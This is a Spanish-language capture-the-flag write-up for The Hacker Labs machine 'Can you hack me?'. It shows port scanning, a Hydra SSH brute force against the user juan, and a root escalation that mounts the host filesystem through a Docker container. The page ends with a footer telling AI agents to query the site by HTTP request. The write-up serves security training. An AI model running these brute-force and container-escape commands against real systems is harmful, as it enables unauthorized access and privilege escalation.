# Can you hack me?

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.53
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FxL0sGkLogL77jW0lgD9n%2Fimage.png?alt=media&#x26;token=f54f4c35-996f-4e36-abea-bc3de8649d18" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.53
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FegTw89R7NlhzyjKm6yf5%2Fimage.png?alt=media&#x26;token=64913b57-24d4-46a8-8326-c32dfd7172bd" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,22,80,3306 -v 192.168.1.53
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEe1xVc7KxOw5iMwVCeoy%2Fimage.png?alt=media&#x26;token=801bdb0a-9f28-42f6-8189-fce93cca05cb" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Antes que nada se añadió en el fichero `/etc/hosts` el dominio **canyouhackme.thl** con su correspondiente IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FgQKhTfHLscAIvpqrFIhh%2Fimage.png?alt=media&#x26;token=16a3a85e-3393-47ce-a382-26a80f0cb5a0" alt=""><figcaption></figcaption></figure>

Revisamos el código fuente y encontramos un mensaje relevante.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FGNRMEuIfQpXmblyjOo5v%2Fimage.png?alt=media&#x26;token=11f44ae4-acf0-43e1-a937-b9789368073a" alt=""><figcaption></figcaption></figure>

Descubrimos un posible nombre de usuario llamado **juan** por lo que realizaremos un ataque de fuerza para poder obtener una contraseña y así poder conectarnos como descubrimos al servicio **SSH**.

### 🚀 **EXPLOTACIÓN**

Con la información obtenida anteriormente, realizamos el comando:

```bash
hydra -l juan -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.53
```

que utiliza la herramienta **Hydra** para realizar un ataque de fuerza bruta contra el servicio **SSH** de una máquina con la IP **192.168.1.53**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FMGz30sJINYjDDCNNaG2g%2Fimage.png?alt=media&#x26;token=230e849f-63ad-4cc4-8610-2acad9e5d00f" alt=""><figcaption></figcaption></figure>

Al realizar el ataque de fuerza bruta, hemos descubierto la contraseña de **juan**. Sabiendo esto, nos conectamos a través de **SSH** al usuario con el comando:

```bash
ssh juan@192.168.1.53
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FA5xMgURibOcgr9xTT4AF%2Fimage.png?alt=media&#x26;token=513d2181-8879-42e1-859c-c9daa9d102e3" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar pero observamos que no podemos ejecutar sudo.

Listamos permisos **SUID** y **capabilities**, pero no tenemos nada que nos pueda ayudar.

```bash
find / -perm -4000 -user root 2>/dev/null -o -type f -exec getcap {} \; 2>/dev/null
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FXf50v1iJ9AzQyPh3Fvby%2Fimage.png?alt=media&#x26;token=05640678-52c7-45c8-949f-cbb42ce3bc2e" alt=""><figcaption></figcaption></figure>

Verificamos los grupos a los que pertenece el usuario y observamos que forma parte del grupo **Docker**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FQVGfotWcx2C6WKozvHzh%2Fimage.png?alt=media&#x26;token=31d6f15a-c251-47ae-95a4-75c5bf01285a" alt=""><figcaption></figcaption></figure>

Vamos a verificar si podemos aprovechar nuestra pertenencia al grupo **Docker**. Para más información, podemos consultar **HackTricks**, donde revisamos los detalles sobre Docker.

```bash
find / -name docker.sock 2>/dev/null
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FK4F6E9mOCOMieaYh2jKU%2Fimage.png?alt=media&#x26;token=8f11d169-2df5-426c-99ba-7040930074cb" alt=""><figcaption></figcaption></figure>

Listamos las imágenes y confirmamos que tenemos una llamada **Alpine**.

```bash
docker images
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FBir0faYZFK7xfBB9xCIo%2Fimage.png?alt=media&#x26;token=1a1621ea-5572-474b-b656-4cfb25342125" alt=""><figcaption></figcaption></figure>

Con esto, ahora podemos ejecutar la imagen montando en el host y utilizando **chroot** para obtener acceso como **root**.

```bash
docker run -it -v /:/host/ alpine chroot /host/ bash
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Ffx2hwTDwhURzIzBpUGWf%2Fimage.png?alt=media&#x26;token=81f11fd3-bd7e-467a-a3ac-51d04b3b8a9e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvnMidy7jJMtVIYVP531Y%2Fimage.png?alt=media&#x26;token=78725b21-7a63-4d7c-a35f-cb3c85130e2e" alt=""><figcaption></figcaption></figure>

Hemos finalizado con éxito **todas las etapas del proceso** y cumplido con todos los **requisitos**.&#x20;

¡Buena suerte en tu búsqueda de las **flags**! Recuerda prestar atención a cada detalle, examinar los archivos y servicios detenidamente, y utilizar todas las herramientas a tu alcance para encontrarlas. ¡La clave está en la perseverancia y en no dejar nada sin explorar! ¡Adelante, hacker! 💻🔍🚀


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/can-you-hack-me.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
